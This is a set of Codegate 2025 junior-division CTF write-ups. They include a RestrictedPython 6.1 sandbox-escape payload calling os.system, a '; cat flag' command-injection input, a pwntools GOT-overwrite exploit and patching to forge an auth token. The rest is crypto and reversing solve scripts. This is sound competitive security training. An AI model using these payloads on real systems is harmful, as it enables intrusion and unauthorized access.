Welcome!
These are all my writeups from Codegate’s 2025 CTF. Codegate is an annual CTF that lasts for 13 hours. I participated in the Junior division (for those 19 and under).
I ended up in 1st place, with 4739 points and 11 challenges solved!
I had a lot of fun throughout the competition!
The following are all the challenges I solved, in chronological order. :)
misc/Hello Codegate - 250 pts (106 solves)
Welcome to Codegate 2025 get flag from Discord notice channel!
codegate2025{65782695e16255e3ef8517a1bfb059f0}
misc/Captcha World - 250 pts (94 solves)
Captcha is wall
nc 3.38.44.81 9623
Connecting to remote, we see ASCII art text. For example:
Round 1Solve the captcha
Captcha:#### ###### ## ## ## ## ######## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ###### ###### ### ### ### ##
Input:
Inputting the text and solving all rounds gives the flag.
codegate2025{9bc7d56d3a1abe642f21d24f4ed8bba569fa271d5ba34067ea39e463c91968a78c18bb38532a57bb15cf2edd8ecffe}
misc/SafePythonExecutor - 306 pts (15 solves)
This time, it’s really safe, I swear!
nc 3.35.196.167 42424
The challenge is a pyjail that runs input code using RestrictedPython. Looking at the Dockerfile, we see a suspiciously old version of RestrictedPython:
RUN pip3 install RestrictedPython==6.1
Snyk tells us that this version contains an Access Control Bypass with string.Formatter
. Using this, we are able to arbitrarily get attributes, which we can use to get us the flag:
def code(): return string.Formatter().get_field('a.__builtins__[__import__]', args={}, kwargs={'a': setattr})[0]('os').system('cat flag')
codegate2025{afc6f9c19df1e9edb855f40e3a4c4e89cec2cd0c49761ec12e1828ddf4c7d0db13b134dbc03d8a97083260ef477842bb486ce499cef3}
web/Ping Tester - 250 pts (102 solves)
You can ping to IP address!
The webpage has an input box where we can type an IP:
Looking at the server code, we see that our input is used as an argument in a shell command without proper escaping:
result = subprocess.run(f"ping -c 3 {ip}", shell=True, capture_output=True, text=True)
So, we can read the flag by inputting ; cat flag
.
codegate2025{80fd12690c4d31a8cf3fe2865e3ceb99aca9e6047c6acb2cbb9157e26ec91f4b}
crypto/Encrypted flag - 250 pts (92 solves)
Decrypt the flag!!
The challenge implements RSA, but prime numbers p and q are close to each other. ChatGPT wrote me a solve script:
from sympy import prevprime, nextprimeimport mathfrom Crypto.Util.number import long_to_bytes, inverse
# Given values from the challengen = 54756668623799501273661800933882720939597900879404357288428999230135977601404008182853528728891571108755011292680747299434740465591780820742049958146587060456010412555357258580332452401727868163734930952912198058084689974208638547280827744839358100210581026805806202017050750775163530268755846782825700533559 # Replace with the printed 'n' valuee = 65537c = 7728462678531582833823897705285786444161591728459008932472145620845644046450565339835113761143563943610957661838221298240392904711373063097593852621109599751303613112679036572669474191827826084312984251873831287143585154570193022386338846894677372327190250188401045072251858178782348567776180411588467032159 # Replace with the encrypted flag
# Step 1: Approximate sqrt(n) and find papprox_p = math.isqrt(n) # Approximate square root of np = prevprime(approx_p) # Find the previous prime (which should be p)q = nextprime(p) # Since q = nextprime(p)
# Step 2: Compute phi and private key dphi = (p - 1) * (q - 1)d = inverse(e, phi) # Modular inverse to get d
# Step 3: Decrypt the flagm = pow(c, d, n)flag = long_to_bytes(m)
print(f"Decrypted flag: {flag.decode()}")
codegate2025{Cl0se_p_q_0f_RSA_Is_Vu1n3rabIe}
rev/initial - 250 pts (57 solves)
Hell0 W0rld!
The challenge contains an ELF. If we pop it into Binary Ninja, and assign some names and types to functions and variables, the binary looks like this:
The binary takes the user input, then:
- Xors each character with the next character (wrapping around at the end)
- Substitutes a character for another from a table
- Bit rotates right the character by its index & 6
- Checks it against an expected value
We can throw together a small Python script to reverse all of this:
import z3
substitution = bytes.fromhex('45b81a8047cbd6191d5856e236e42765b173e95c7e427cde7161f648f522571bafdb8d8bc02bd4a1ccf2ebbe3738d91e63e34d9413ba9c861035fc4fd7d37b3ac98fd024f1052c535e8c963da6a46ecf5b6d04ed127a172534dcade120917506c4746f78006cc2aba99fb0163390cdb23caa9b514e3f1c50fa18e8b454b93b49f9b6999d7d0e66efff1597550ff8212e83f3950aa8bc5db532fdf7d82689642fa7ca0decc3fbacb709ee8492790107a2774a026039a093bd88c6e5e7ce23bbdf85c159ead29ae63114fec544118767d14bda6a52bf0bf45a8a0828a37f30709e2d0c82ae40684376e03e8e2a4ca5d56972c8816b46c7b31f5f9829f06203dd41')expected = bytes.fromhex('36e22e866d24cd941a1a469b4983611520b247ea0d42e93de4741b168b542eaa')
def rotateLeft(value, shift): return ((value << shift) | (value >> (8 - shift))) & 0xFF
def unswizzle(v, i): return rotateLeft(v, i & 6)
c = []flag = [z3.BitVec(f'flag_{i}', 8) for i in range(32)]z = [*flag]s = z3.Solver()
for i, b in enumerate(expected): s.add(flag[i] >= 0x20) s.add(flag[i] <= 0x7f)
z[i] = z[i] ^ z[(i + 1) % 0x20] s.add(z[i] == substitution.index(unswizzle(b, i)))
print(s.check())if s.check() == z3.sat: m = s.model() for i in range(32): c.append(m[flag[i]].as_long()) c = bytes(c)print(c)
codegate2025{Hell0_W0r1d_R3V_^^}
rev/WebBinary - 275 pts (17 solves)
Web Binary is easy?
The attachments contain a WebAssembly file that we need to reverse. We can use Ghidra for this.
We can see that after taking in user input, the binary groups up our user input into groups of 3 characters, then performs some bitwise operations on them to expand them into a group of 4 characters. These 4 characters are then written to an intermediate array:
Then, the intermediate array is checked against some expected values, and prints the flag if all checks pass:
So, we can just reverse the bitwise operations that expanded the 3 characters to get our flag:
expected = bytes.fromhex('0d3300390e0301230d160432191308310e1305210c1611240c030830183610350c231d24190611241906140000000000000000000000000000000000000000000000')[:64]flag = b''for i in range(0, len(expected), 4): a, b, c, d = expected[i:i+4] flag += bytes([ (a << 2) | (b >> 4), ((b << 4) & 0xf0) | (c >> 2), d | ((c & 3) << 6), ])
print(flag)
codegate2025{70980c5a2e2191a1dd020cd527ddddde}
pwn/What’s Happening? - 250 pts (27 solves)
My program is supposed to calculate the scale values of celestial bodies in the solar system… But what on earth is happening in my code?!
nc 3.37.174.221 33333
The binary is an ELF that has a command-line menu. If we checksec
the binary, we see that there is partial RELRO and no PIE:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
There is an out-of-bounds write vulnerability in the menu option to update a planet’s data:
There is also a win
function we can use:
Because there is partial RELRO, we can use the out-of-bounds write to overwrite the puts
function in the GOT. Because there is no PIE, we know the address of the win
function. We have to be careful, though, to not overwrite the GOT entry of the system
function.
Putting this together, our exploit is:
import pwn
pwn.context.update(arch='amd64', os='linux')
elf = pwn.ELF('./prob', checksec=False)r = pwn.remote('3.37.174.221', 33333)
r.sendlineafter(b'> ', b'1')r.sendlineafter(b'Enter planet index to update (0-12): ', b'-3')r.sendlineafter(b'Enter planet name: ', pwn.p64(elf.sym.win) + pwn.p64(0) + pwn.p64(0x401080))
r.interactive()
codegate2025{eee425cb2a1cba22d68f11b3604c1fe3404a9b09817489ee78ca78271a9d86077e2e7c439a22632ba0ff2608ac6afd0b96f4d45e}
rev/C0D3Matr1x - 741 pts (6 solves)
Do you know what a Matr1x is?
The attachments contain an ELF binary. If we open it in Binary Ninja, we see a lot of 2d array reads/writes. Based off the challenge name, we can infer that these are matrices.
Knowing that these are matrices, we can easily assign types and names to the functions and variables:
- The binary initializes a sparse matrix into
mat2
. - Our input is written into a matrix. The string
C0D3GAT3
is also written in a diagonal fashion. - Some matrix operations are applied.
mat6
is checked against expected values. If these checks pass, we get the flag.
All these matrix operations are reversible. One key thing to note is that all these matrix operations modulo their outputs by 0xffff
, so when reversing these operations, we will want to use modular arithmetic (mod 0xffff
):
With the help of ChatGPT, we can write some code to reverse the matrix operations:
import structimport sympy as spimport z3
content = open('prob2', 'rb').read()r = lambda x: sp.Matrix([y[0] for y in struct.iter_unpack('<i', content[x:x+24*24*4])]).reshape(24, 24)
c1 = r(0x3220)c2 = r(0x4d20)c3 = r(0x3b20)c4 = r(0x4420)expected = r(0x5620)
def makeMat2(): mat2 = [0 for _ in range(0x18*0x18)] for i in range(0xc): if i & 1:
mat2[(0x17 - i) * 0x18 + i] = 1 mat2[i * 0x18 + (0x17 - i)] = 1 else: mat2[i * 0x18 + i] = 1 mat2[(0x17 - i) * 0x18 + (0x17 - i)] = 1 return mat2
def printMat(m, w=0x18): for r in range(w): for c in range(w): print(m[r*w + c], end='\t') print()
def modInvMatrix(B, m): # convert list to sympy Matrix B = sp.Matrix(B).reshape(0x18, 0x18) # Reshape to 18x18 matrix det_B = int(B.det()) # Compute determinant det_inv = sp.mod_inverse(det_B, m) # Compute modular inverse of determinant
if det_inv is None: raise ValueError("Matrix is not invertible modulo {}".format(m))
B_inv = det_inv * B.adjugate() % m # Compute modular inverse return B_inv
mat2 = makeMat2()c2Inv = sp.Matrix([[45655, 7698, 51894, 28592, 12991, 57757, 56138, 50496, 6843, 44923, 19542, 24649, 5744, 40117, 38027, 45930, 22347, 29246, 32946, 47465, 25007, 36601, 48842, 64261], [6038, 21070, 5813, 9798, 58111, 40706, 10102, 19495, 37102, 35740, 5186, 49541, 51146, 48802, 25747, 41870, 18973, 57706, 30794, 31682, 14882, 27374, 40691, 50847], [64691, 34070, 19186, 8703, 31306, 19187, 12212, 62902, 49502, 55801, 46359, 21196, 10689, 9866, 60110, 45629, 35588, 53828, 14176, 55567, 4579, 21454, 55236, 65325], [38022, 19710, 18483, 40590, 62637, 64192, 61396, 33627, 26810, 58430, 13425, 33833, 22666, 39081, 4778, 50401, 28119, 51565, 46846, 19000, 37069, 12126, 53756, 37803], [58247, 36315, 37696, 42976, 32658, 34262, 35984, 14400, 51936, 21280, 9407, 58638, 46409, 11697, 27408, 43368, 59218, 42567, 36860, 46109, 40232, 33802, 55158, 55223], [37387, 6861, 39932, 46512, 41482, 16416, 58044, 14913, 19656, 23686, 63410, 37153, 10125, 45183, 15826, 54979, 21536, 22011, 50797, 46533, 582, 23368, 60483, 57558], [11287, 23858, 800, 50991, 32953, 50831, 36407, 41270, 59186, 11637, 64966, 65234, 23839, 9560, 8220, 18686, 52996, 528, 40843, 12241, 30723, 51203, 21507, 37682], [63608, 49908, 42648, 8843, 15537, 41942, 30769, 15809, 62517, 6263, 31737, 29013, 61892, 26538, 54174, 9027, 26498, 51578, 47902, 44743, 29316, 62454, 4733, 2403], [24105, 50481, 55030, 18221, 3599, 8696, 15979, 1004, 3531, 47407, 46547, 41528, 28979, 26779, 52266, 30267, 50201, 55264, 41992, 62647, 59237, 52904, 5307, 16126], [51173, 22726, 59490, 20924, 32059, 34603, 31980, 36926, 44383, 24650, 31586, 36468, 30558, 17539, 37011, 21058, 59750, 28372, 49022, 60326, 19955, 52260, 3902, 251], [47424, 19120, 39357, 12026, 36931, 19027, 39373, 15628, 58801, 38196, 26205, 57813, 18778, 19025, 45635, 9287, 50235, 61781, 17418, 47555, 61253, 52238, 2766, 499], [3323, 33461, 11756, 17932, 38222, 50983, 41908, 38736, 27542, 49523, 28191, 38867, 11908, 22945, 626, 52345, 3563, 24337, 55767, 11247, 24131, 26054, 27334, 35769], [48919, 35691, 25688, 29272, 30393, 55017, 51892, 6027, 1886, 22645, 42387, 52938, 43870, 29682, 2787, 11512, 11282, 4435, 46229, 24794, 45536, 42339, 27075, 26230], [57501, 30316, 30101, 55242, 56487, 62549, 27268, 18374, 19852, 52549, 14187, 5588, 46569, 1345, 41156, 56949, 39908, 37657, 14592, 20738, 7181, 58115, 19109, 56296], [30405, 10512, 53321, 9352, 28770, 23007, 57203, 44678, 17485, 24828, 29335, 694, 40662, 48440, 22934, 1867, 8638, 16609, 53853, 64291, 37969, 49682, 19479, 48730], [18414, 26971, 21027, 19808, 27177, 33100, 63942, 40671, 13973, 9196, 31512, 8925, 30684, 17265, 63762, 15387, 6532, 6352, 64355, 61660, 59515, 5429, 4078, 38786], [54175, 48977, 1639, 27179, 22488, 63378, 18638, 12216, 32403, 38307, 34195, 34589, 4180, 54222, 27058, 64640, 28272, 31739, 41353, 6756, 58799, 39496, 41162, 62226], [7064, 16323, 19568, 24230, 57548, 20764, 15369, 23477, 58256, 40105, 50849, 11200, 9354, 32718, 65169, 6535, 64087, 58763, 33343, 30812, 29373, 33224, 5878, 36490], [43715, 12942, 24550, 63492, 63832, 12862, 25196, 28111, 46237, 57480, 39877, 8106, 8981, 53045, 23369, 61146, 24311, 32609, 39450, 37627, 1628, 56788, 63287, 7546], [55054, 26780, 15933, 59524, 40210, 11829, 8485, 31217, 53387, 44569, 28361, 639, 23916, 27369, 25905, 21166, 8738, 18420, 22502, 21732, 50603, 48479, 25496, 37549], [9898, 37583, 49642, 46546, 13307, 7917, 57417, 65215, 14257, 51658, 20555, 29472, 54456, 62924, 51890, 28800, 23567, 11836, 59582, 42971, 56947, 16236, 41198, 46445], [31898, 6360, 40041, 52138, 37922, 328, 51011, 60556, 62560, 47407, 23537, 52977, 45949, 12989, 32646, 739, 52890, 37809, 40763, 16121, 24611, 2947, 8411, 51923], [39923, 62049, 2491, 7971, 23647, 51436, 13692, 31594, 46521, 43115, 28, 28055, 8339, 21439, 44706, 33882, 53719, 27191, 4626, 41675, 34007, 58202, 7179, 42602], [47239, 5156, 49120, 43048, 45077, 19498, 17705, 48654, 11994, 22383, 8039, 60985, 23663, 41686, 63782, 54626, 17138, 58132, 36141, 52112, 2549, 23003, 65271, 13648]])m2Inv = sp.Matrix([[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]])
mat5 = (expected - c3) % 0xffffmat4 = mat5 * c2Inv % 0xffffmat1: sp.Matrix = (mat4 - c1) % 0xffffmat1 = mat1.rot90()mat3 = m2Inv * mat1 % 0xffffmat1 = mat3 * m2Inv % 0xffffmat1: sp.Matrix = mat1.rot90(-1)
solver = z3.Solver()
flag = [z3.BitVec(f'flag_{i}', 8) for i in range(484)]inp = []
for c in flag: solver.add(c >= 0x20, c <= 0x7f)
i = 0for r in range(0x1a): for c in range(0x1a): if r == 0 or r == 0x19 or c == 0 or c == 0x19: inp.append(0) elif 2 <= r and r < 0x18 and 2 <= c and c < 0x18 and i < len(flag): inp.append(z3.ZeroExt(32, flag[i])) i += 1 else: inp.append(ord('C0D3GAT3'[(r + c - 2) & 7]))
for r in range(0x18): for c in range(0x18): v = \ inp[r*0x1a + c] + inp[r*0x1a + c + 1] + inp[r*0x1a + c + 2] + \ inp[(r+1)*0x1a + c] + inp[(r+1)*0x1a + c + 1] + inp[(r+1)*0x1a + c + 2] + \ inp[(r+2)*0x1a + c] + inp[(r+2)*0x1a + c + 1] + inp[(r+2)*0x1a + c + 2] solver.add(v == mat1[r, c])
print(solver.check())m = solver.model()flag = [m[flag[i]].as_long() for i in range(484)]flag = ''.join([chr(x) for x in flag])print(flag)
This script gives us a string:
C0DEGATE 1s a gl0ba1 internationa1 hacking d3f3ns3 competition and 5ecurity conference. Held annually since 2008, C0D3GAT3 is known as the Olympics for hackers, wh3re hack3rs and security 3xperts from around the world gath3r t0 c0mpet3 for the title of the w0rld's best hack3r. In addition to fierce competition among tru3 white-hat hackers, a juni0r division is also he1d, s3rv1ng as a p1atform f0r discover1ng talented 1ndividuals 1n th3 fi3ld of cyb3rsecurity. You are good hacker.
Putting this string into the binary gives the flag.
codegate2025{de955b80b49fcf6922e7313778fb72d3644721b19c467f95c671b527b14d97f2}
rev/protoss_58 - 917 pts (3 solves)
Our group has leaked the agent’s program from the Protoss Confidential Agency… Please find out the flag…
3.37.15.100:50051
The challenge contains an ELF. If we open it up in Binary Ninja, we see a Go binary. Historically, I have found that reversing Go decompilations is not fun, so I tried to avoid looking at the decompilation.
If we run the binary, we are prompted with a server address. If we enter it in, we are given this menu:
Enter the server address: (server:port)> 3.37.15.100:50051Your access level is: 2
Idx Secret Titles Access Level00. Xel'Naga's First Experiment 201. Dark Templar's Origin 302. Colossus Controversy 303. Mothership Relics 404. Immortals and Dragoons 405. Psionic Matrix Vulnerability 206. Hidden Guardianship of Lesser Races 307. Void Ray Pilots 508. Tal'darim's Secrets 309. Protoss-Zerg Hybrids 210. The location of the flag 1What secret do you want to read?>
Trying to enter in an index causes the binary to crash. However, I had a theory that the challenge author set a very low timeout on the binary (this would make sense if the binary is intended to be interacted with through pwntools
). Indeed, if we enter the server address and index in quick succession, we get a result:
> 0content : The Protoss were the first successful experiment of the Xel'Naga, created to achieve 'purity of form.' However, they were abandoned after their psionic link fractured due to rising individualism.
If we search for the secret titles or secret content in the binary, we do not find any results. Therefore, we can infer that these are being loaded from the server.
At this point, I used tcpdump
and Wireshark to get a better understanding of what data is actually being transmitted to and fro the server.
Looking at Wireshark, we can see some gRPC requests that appear to be transmitting the data:
The only response from the server that contains a field with the value 2
(our access level) is the response from /auth.AuthService/Verify
. So, we can infer that our request to /auth.AuthService/Verify
is what determines our access level.
The request to /auth.AuthService/Verify
contains one string field:
This field’s value is choS1W2bz9eG.420ef1effec0a25d
. We will need to look at the binary decompilation to figure out what this string means.
If we click around for a bit, we can find that GenerateAuthData
appears to be what creates this mysterious string. The decompilation is still messy though:
Rather than trying to figure out any of this statically, I decided to run the binary under gdb
and dynamically analyze this. From this, I figured out the following:
- The result from
math_rand_Int63
corresponds to the hexadecimal number after the period in the gRPC request. This number is used as a seed for encoding in Base58 with a shuffled alphabet. - The string before the period in the gRPC request is a Base58 encoding of a username and a numerical ID. By default, in the binary, the username is
guest
and the ID is1
.
If we click around a bit, we can find this unused function named VerifyToken
. This function seems to reference a username of commander
and an ID of 0xdead
:
Indeed, if we patch the binary so that our username is commander
and we have an ID of 0xdead
, we find that we have an access level of 1. We can then read the location of the flag secret:
Enter the server address: (server:port)> 3.37.15.100:50051Your access level is: 1
Idx Secret Titles Access Level00. Xel'Naga's First Experiment 201. Dark Templar's Origin 302. Colossus Controversy 303. Mothership Relics 404. Immortals and Dragoons 405. Psionic Matrix Vulnerability 206. Hidden Guardianship of Lesser Races 307. Void Ray Pilots 508. Tal'darim's Secrets 309. Protoss-Zerg Hybrids 210. The location of the flag 1What secret do you want to read?> 10content : You have to explore the whole galaxy to find it. (Find verify flag function... I think you need top-level access and hidden message for this {hint : secretService.Flag})
Near the VerifyToken
function, there is another unused function named VerifyFlag
. From the hint, we can infer that we need to send a gRPC request to /secret.SecretService/Flag
, and that we need to send a hidden field with a string that satisfies the VerifyFlag
function.
The VerifyFlag
function seems to want a length of 0x12
:
It then seems to take our input and do some bitwise operations:
Then, it appears to group our input into groups of 3 characters, then expands each group of 3 characters into 4 characters with some bitwise operations:
Finally, it substitutes each character via a substitution table, then checks the result against an expected value (Binary Ninja does not show the expected value in High Level IL, but it can be found via disassembly):
This function acts very similar to the one from rev/WebBinary, and we can reverse the process in a similar way:
import z3
substitutionTable = '4E6nQpOkBcWmIfXorxGhg_z81qC3sv79DlRSN5PHeUZAwVYuat0TF2djJbKLyMi'expected = 'lScv9oQ6VgELTPBdHnxp9dND'values = [substitutionTable.index(c) for c in expected]indices = b''for i in range(0, len(values), 4): a, b, c, d = values[i:i+4] print(a, b, c, d) indices += bytes([ ((a << 2) & 0xfc) | ((d >> 4) & 3), ((b << 2) & 0xfc) | ((d >> 2) & 3), ((c << 2) & 0xfc) | (d & 3), ])
inp = [z3.BitVec('inp_%d' % i, 8) for i in range(len(indices))]solver = z3.Solver()for i, j in enumerate(inp): k = 0xa5 if i < len(inp) - 1: k = inp[i + 1] solver.add(z3.RotateLeft(k ^ z3.RotateLeft(j ^ 0x44, 5), 4) == indices[i])
print(solver.check())if solver.check() == z3.sat: model = solver.model() result = b'' for i in inp: result += bytes([model[i].as_long()]) print(result)
This outputs the string My_1ife_F0r_Aiur!!
.
If we then send a gRPC request to /secret.SecretService/Flag
with our commander
token and My_1ife_F0r_Aiur!!
as an additional field, we get the flag.
codegate2025{c04d0a087f91f6a254b607eea68e12b91529f6b0d6f626a3773df31748661243}
rev/cha’s ELF - 1000 pts (1 solve)
he sent me the message. what is it? flag: codegate2025input
The challenge contains an ELF. If we open up the binary in Binary Ninja, the decompilation looks horrible. Rather than normal control flow, there appears to be a single state machine that drives the program. The instructions also appear to be obfuscated, since it is almost unreadable. For example:
If we strings
the binary, we see:
Obfuscator-LLVM clang version 4.0.1 (based on Obfuscator-LLVM 4.0.1)
There are a few existing tools that can deobfuscate Obfuscator-LLVM binaries, but the only one I found that did not crash and would not require me to buy an IDA license was MODeflattener.
The deobfuscator helped a little:
We can see that the binary only accepts inputs of lengths that are 1 more than a multiple of 64. We can also see some memory allocations and some methods that operate on our user input. However, for the most part, the decompilation is still unreadable.
I gave up on trying to reverse the binary using the decompilation, and tried to instead black-box the binary. I noticed something interesting:
> ./chas_elfaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaae461a5ab49d0fd9eff89a6c6b10c978fd439a29ab22770e04e019808c8d0df08b95c5ccf21f445243635751a2bbe9a1c957534e8ced10d027d40c38b57c68b3
> ./chas_elfbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaad461a5ab49d0fd9eff89a6c6b10c978fd439a29ab22770e04e019808c8d0df08b95c5ccf21f445243635751a2bbe9a1c957534e8ced10d027d40c38b57c68b3
> ./chas_elfbbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaad451a5ab49d0fd9eff89a6c6b10c978fd439a29ab22770e04e019808c8d0df08b95c5ccf21f445243635751a2bbe9a1c957534e8ced10d027d40c38b57c68b3
> ./chas_elfbbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaad451a5ab49d0fd9eff89a6c6b10c978fd439a29ab22770e04e019808c8d0df08b95c5ccf21f445243635751a2bbe9a1c957534e8ced10d027d40c38b57c68b0
> ./chas_elfaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabda9c27b9efff239fce1539a0be8cc40ff3b869dd1f89e5f27790d92140a77e8f9d46227b3f6d8ac9d41ed72c5073b8ab64e27fac074976f9aa15b11a3aa54f4d
If we don’t change the last character, the binary appears to exhibit character-by-character encryption. The last character seems to change something globally about the encryption.
If we take these observations to be true, then we can just brute-force through all last characters, then brute-force through the rest of the characters to find the flag:
import pwnimport string
pwn.context.update(arch='amd64', os='linux', log_level='error')
b = bytes.fromhex('147274ff36e71d07cfad08e75f0352799d0081c6862fd96aebb08566f49ca86f15528c5121940ddc3ee92b816b1147be934d03389ee0cfad5b539ebf35feb969')
for lastC in string.printable: if lastC in string.whitespace: continue print(f"Trying lastC: {lastC}") flag = '' for i in range(0x40): for c in string.printable: if c in string.whitespace: continue r = pwn.process('./chas_elf') r.sendline(((flag + c).ljust(0x40, 'a') + lastC).encode()) out = bytes.fromhex(r.recvline().strip().decode()) r.close()
if out[i] == b[i]: flag += c print(f"Found: {c} {lastC} {flag}") break else: print("Not found") break else: print(f"Found flag: {flag + lastC}") break
This script takes a few minutes, but it eventually finds the flag.
codegate2025{C0py_@nd_P4tch?_N0_7hi$_1s_Ch@s_Tr1ck!_W3lc0m3_tO_ChA_W0rld_haha!}